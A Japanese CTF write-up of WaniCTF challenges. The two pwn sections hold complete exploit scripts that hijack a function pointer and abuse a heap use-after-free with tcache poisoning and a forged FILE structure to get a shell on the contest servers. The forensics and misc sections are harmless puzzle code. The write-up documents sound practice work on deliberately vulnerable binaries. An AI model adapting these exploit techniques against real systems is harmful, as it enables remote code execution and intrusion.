今年もWaniCTFがやってきました。 今回はチーム戦ありとのことで、GWで予定が詰まっていたのでst98🦌 + theoremoon👻たちと一緒に初日で全完させる気持ちで出ました。 チーム名は「ℹ️❤️🐏」で出て、無事12時間以内にすべてを終わらせて登山に向けて3時間睡眠が取れました。
↓こっちを読もう↓
問題数が多いので各ジャンル点数の高いものだけ書きます。
- はじめに
- [Pwn] Time Table
- [Pwn] Copy & Paste
- [Forensics] Apocalypse
- [Misc] int_generator
- [Misc] range_xor
時間割管理アプリのようです。機能がごちゃごちゃしていて脆弱性はいくつかありますが、範囲外参照脆弱性が一番自明かつ強そうなので注目します。
void register_mandatory_class() { ... printf(">"); scanf("%d", &i); choice = mandatory_list[i]; printf("%d\n", choice.time[0]); ... void register_elective_class() { ... printf(">"); scanf("%d", &i); choice = elective_list[i]; if (choice.IsAvailable(&user) == 1) {
PIE無効なのでアドレスリークにこだわらずに解けます。
register_elective_class
のchoice.IsAvailable
が関数ポインタなので、範囲外参照でユーザー入力を関数ポインタとして認識させられれば終わります。
実際、elective_list
よりも低いアドレスにmandatory_list
というものがあり、
mandatory_subject mandatory_list[3] = {computer_system, digital_circuit, system_control}; ... elective_subject elective_list[2] = {world, intellect};
これのmemo
メンバーは十分に書き換え可能です。
typedef struct { char *name; int time[2]; char *target[4]; char memo[32]; char *professor; } mandatory_subject;
また、
if (choice.IsAvailable(&user) == 1) {
のuser
はユーザー入力が入るname
を先頭に持っているだめ、ある程度自由な値を入れられます。
typedef struct { char name[10]; int studentNumber; int EnglishScore; } student;
1回目にIsAvailable
にprintf
をセットし、FSBでlibcのアドレスをリークし、2回目にsystem
でシェルを呼べば終わります。
from ptrlib import * def reg_m(index): sock.sendlineafter(">", "1") sock.sendlineafter(">", index) def reg_s(index): sock.sendlineafter(">", "2") sock.sendlineafter(">", index) def memo(date, data): sock.sendlineafter(">", "4") sock.sendlineafter(">", date) sock.sendafter("CLASS\n", data) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./chall") sock = Socket("nc timetable-pwn.wanictf.org 9008") sock.sendafter(": ", "%49$p;sh\0") sock.sendlineafter(": ", "+") sock.sendlineafter(": ", "+") reg_m(1) memo("FRI 3", b"A"*0x10+p64(elf.plt("printf"))) reg_s(-3) l = sock.recvline() libc.base = int(l[:l.find(b";")], 16) - 0x29e40 memo("FRI 3", b"A"*0x10+p64(libc.symbol("system"))) reg_s(-3) sock.sh()
ヒープ問です。noteをコピーして別のnoteと結合できます。
void copy() { ... copied = list[idx]; printf("Done!\n"); } void paste() { ... pasted.size = list[idx].size + copied.size; if (pasted.size < 0 || pasted.size > MAX_NOTE_SIZE) { printf("Invalid size!\nPaste failed!\n"); return; } pasted.ptr = (char *)malloc(pasted.size); memset(pasted.ptr, 0, pasted.size); sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr); free(list[idx].ptr); list[idx] = pasted; printf("Done!\n"); }
また、noteの削除もできます。
void delete () { ... free(list[idx].ptr); list[idx].size = 0; list[idx].ptr = NULL; printf("Done!\n"); }
コピーしたnoteはdeleteで触れられていないので、明らかにUse-after-Freeが起きています。 コピーしておいたnoteを削除してからペーストすると、free時に挿入されたアドレスがsprintfで結合されるため、別のnoteからアドレスリークできます。 まずはlibcとヒープのアドレスを取っておきましょう。
また、Use-after-Freeが起きているということは、ペースト時のサイズ情報も間違っていることになります。
小さいnoteをfreeして、同じアドレスにより長いデータが重なるようにチャンクを確保すれば、sprintf
で想定よりも多い値がコピーされます。
NULLバイトがコピーできないのでサイズ情報を書き換えても安全なtcache poisoningを使うのが楽です。 あとは適当にFILE構造体を書き換えるなどしてシェルを取ります。
from ptrlib import * def create(index, size, data): assert 0 <= size <= 4096 assert len(data) <= size sock.sendlineafter("choice: ", 1) sock.sendlineafter("index: ", index) sock.sendlineafter("): ", size) sock.sendafter("content: ", data) def show(index): sock.sendlineafter(": ", 2) sock.sendlineafter(": ", index) return sock.recvline() def copy(index): sock.sendlineafter(": ", 3) sock.sendlineafter(": ", index) def paste(index): sock.sendlineafter(": ", 4) sock.sendlineafter(": ", index) def delete(index): sock.sendlineafter(": ", 5) sock.sendlineafter(": ", index) libc = ELF("libc.so.6") sock = Socket("nc copy-paste-pwn.wanictf.org 9009") create(0, 0x428, b"Hello") create(1, 0x18, b"A") copy(0) delete(0) paste(1) libc.base = u64(show(1)[1:]) - libc.main_arena() - 0x450 create(0, 0x28, b"Hello") copy(0) delete(0) paste(1) heap_base = u64(show(1)[1+6:]) << 12 logger.info("heap = " + hex(heap_base)) for i in range(7): create(1, 0x108, b"A"*0x108) create(2, 0xe8, b"A"*0xe0) create(3, 0xe8, b"B"*0xe0) create(0, 0x528, b"C"*0x520) copy(0) delete(0) target = libc.symbol("_IO_2_1_stderr_") payload = b"X"*0x530 + b"A"*0x6 payload += p64(((heap_base+0x2c70) >> 12) ^ target) create(4, 0x7f8, payload) create(5, 0x528, b"Y"*0x528) create(9, 0x528, b"dummy") create(6, 0xa58, b"Hello") create(7, 0xe8, b"1"*0xe0) delete(2) delete(3) delete(7) delete(6) paste(5) create(2, 0xe8, "dummy") addr_IO_wfile_jumps = libc.base + 0x2160c0 fake_file = flat([ 0x3b01010101010101, u64(b"/bin/sh\0"), 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, ], map=p64) fake_file += p64(libc.symbol("system")) fake_file += b'\x00' * (0x88 - len(fake_file)) fake_file += p64(libc.base + 0x21ba70) fake_file += b'\x00' * (0xa0 - len(fake_file)) fake_file += p64(libc.symbol("_IO_2_1_stderr_")) fake_file += b'\x00' * (0xc0 - len(fake_file)) fake_file += b'\xff\xff\xff\xff' fake_file += b'\x00' * (0xd8 - len(fake_file)) fake_file += p64(libc.base + 0x2160c0 - 0x58 + 0x18) fake_file += p64(libc.symbol("_IO_2_1_stderr_") + 8) create(3, 0xe8, fake_file) sock.sendline("6") sock.sh()
問題名から絶対aCropalypseだと思ったら違いました。 開けないPNGファイルが渡されるので調べると、データの途中にIENDチャンクが挿入されていました。 なぜそこにIENDチャンクがあるのか本当にわからなかったのですが、なぜかIENDチャンクがありました。
そういう日もあるのでIDATを取り出して強制的にdecompressしようとしましたが、pythonのzlibはエラー耐性が貧弱で使い物になりませんでした。 代わりにzlib-flateで展開してGIMPで開くと、それっぽいフラグが出ました。
import struct import binascii import zlib import os from ptrlib import * from PIL import Image data = b"" with open("chall.png", "rb") as f: f.seek(0x5d) while True: addr = f.tell() size = struct.unpack(">I", f.read(4))[0] if size == 0: break assert f.read(4) == b'IDAT' dat = f.read(size) data += dat crc = struct.unpack(">I", f.read(4))[0] cal = binascii.crc32(b"IDAT" + dat) print(hex(addr), hex(crc), hex(cal)) with open("idat.bin", "wb") as f: f.write(data) os.system("cat idat.bin | zlib-flate -uncompress > a")
なぜあそこにIENDチャンクがあったのか、その謎は迷宮入りしたのであった......
何してるのか分からない関数fが渡されるので、f(x)からxを求める系の問題です。 そもそも問題文にxは0から235までと書いてあったので、関数をCで適当に最適化して再実装し、総当りしました。
#include <math.h> #include <stdio.h> #include <stdlib.h> #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #define MAXLENGTH 16 typedef long i64; static const i64 r = 0x1000000000; static const i64 sqrt_r = 0x40000; i64 mulmod(i64 a, i64 b, i64 c) { if (unlikely(a == 0 || b == 0)) return 0; if (unlikely(a == 1)) return b; if (unlikely(b == 1)) return a; i64 a2 = mulmod(a, b/2, c); if ((b & 1) == 0) return (a2 + a2) % c; else return ((a % c) + (a2 + a2)) % c; } i64 modpow(i64 a, i64 n, i64 mod) { i64 res = 1; while (n > 0) { if (n & 1) res = res * a % mod; a = a * a % mod; n >>= 1; } return res; } void f(i64 x, i64 cnt, i64 *x_, i64 *cnt_) { *cnt_ = cnt + 1; if (unlikely(x == 0 || x == r)) { *x_ = -x; } else if (likely(mulmod(x, x, r))) { *x_ = -x; } else { *x_ = x - (x/sqrt_r)*(x/sqrt_r); } } void g(i64 x, i64 *x_, i64 *cnt_) { i64 ret = x*2 + (x/3)*10 - (x/5)*10 + (x/7)*10; ret = ret - ret % 2 + 1; *cnt_ = x / 100 % 100; *x_ = ret; } i64 digit(i64 x) { if (x == 0) return 0; return (i64)floor(log10((double)x) + 1); } i64 pad(i64 x, i64 cnt) { int minus = 0; if (x < 0) { minus = 1; g(-x, &x, &cnt); } i64 sub = MAXLENGTH - digit(x); i64 ret = x; for (i64 i = 0; i < sub - digit(cnt); i++) { ret *= 10; if (minus) { ret += modpow(x%10, (x%10)*i, 10); } else { ret += modpow((i%10)-(i%2), (i%10)-(i%2)+1, 10); } } i64 v = 1; for (i64 i = 0; i < MAXLENGTH - digit(cnt); i++) { v *= 10; } ret += cnt * v; return ret; } i64 int_generator(i64 x) { i64 x_, cnt, ret = -x; f(x, 0, &x_, &cnt); while (x_ > 0) { ret = x_; f(x_, cnt, &x_, &cnt); } return pad(ret, cnt); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <num>\n", argv[0]); return 1; } i64 y = atol(argv[1]); printf("y = %ld\n", y); for (i64 x = 0; x < 0x800000000; x++) { if ((x & 0xffffff) == 0) printf("%lx (searching...)\n", x); if (int_generator(x) == y) { printf("Found: x = %ld\n", x); break; } } return 0; }
ランダムな値が出てくるかと思いきや、なぜか0, 235, 0x1940000というきりのいい数字3つが答えでした。 そのため、別にCで書き直さなくても数秒で探索は終わっていたことになります。*1
ひと目見て競プロやんと思いましたが、ちゃんと読んでも競プロでびっくりしちゃいます。 CTFに競プロを出すな組合員としては、この問題が最後に残ってしまったので嫌々解いていました。*2
でも無意味な行動を取る人間が登場したり、小籠包の食べ方が汚かったりとか*3せず、数式で端的に書かれた問題文だったので着手はできました。
正の整数が入った配列A
の好きな要素をf(x)=min(x, 1000-x)
にかけてできた配列B
について、X=XOR(B)
が最小になるようなBの組み合わせ数を求める問題です。
いろんな意味でわからないです。
はるか昔LTで競プロ人間が動的計画法というものを語っていた記憶があったので、そのとき教えてもらった表みたいなやつを思い出しながらそれっぽいものを書いたら、なんか動きました。
dp[i][j]
に「i+1個目までの要素をつかって、X=jになる組み合わせ数」を入れます。
dp[i+1][j]
はdp[i][k]
にi+1番目の要素にfをかけたものとかけないものの最大2通りから計算されるXを使って更新できます。
def X(W, A): x = 0 for a in A: x ^= a return W ^ x def f(x): return min(x, 1000-x) def R_solve(A, W): if len(A) == 0: return 1 dp = [[0 for j in range(2000)] for i in range(len(A))] dp[0][W ^ A[0]] += 1 dp[0][W ^ f(A[0])] += 1 for i in range(1, len(A)): for j, v in enumerate(dp[i-1]): if v == 0: continue dp[i][j ^ A[i]] += v dp[i][j ^ f(A[i])] += v for v in dp[len(A)-1]: if v != 0: break return v % (10**9 + 7) def solve(A): W = 0 RA = [] for a in A: if a > 500: RA.append(a) else: W ^= a return R_solve(RA, W) A = list(map(int, open("case(N=1000).txt", "r").read().split())) print(solve(A))
私はプログラミングが苦手すぎてfor文しか書けません。 I'm not good at programming at all that I can only use for-statement. 我做编程做得不好,只能写for语句。 저는 프로그래밍을 잘 못해서 for문밖에 쓸 수 없어요.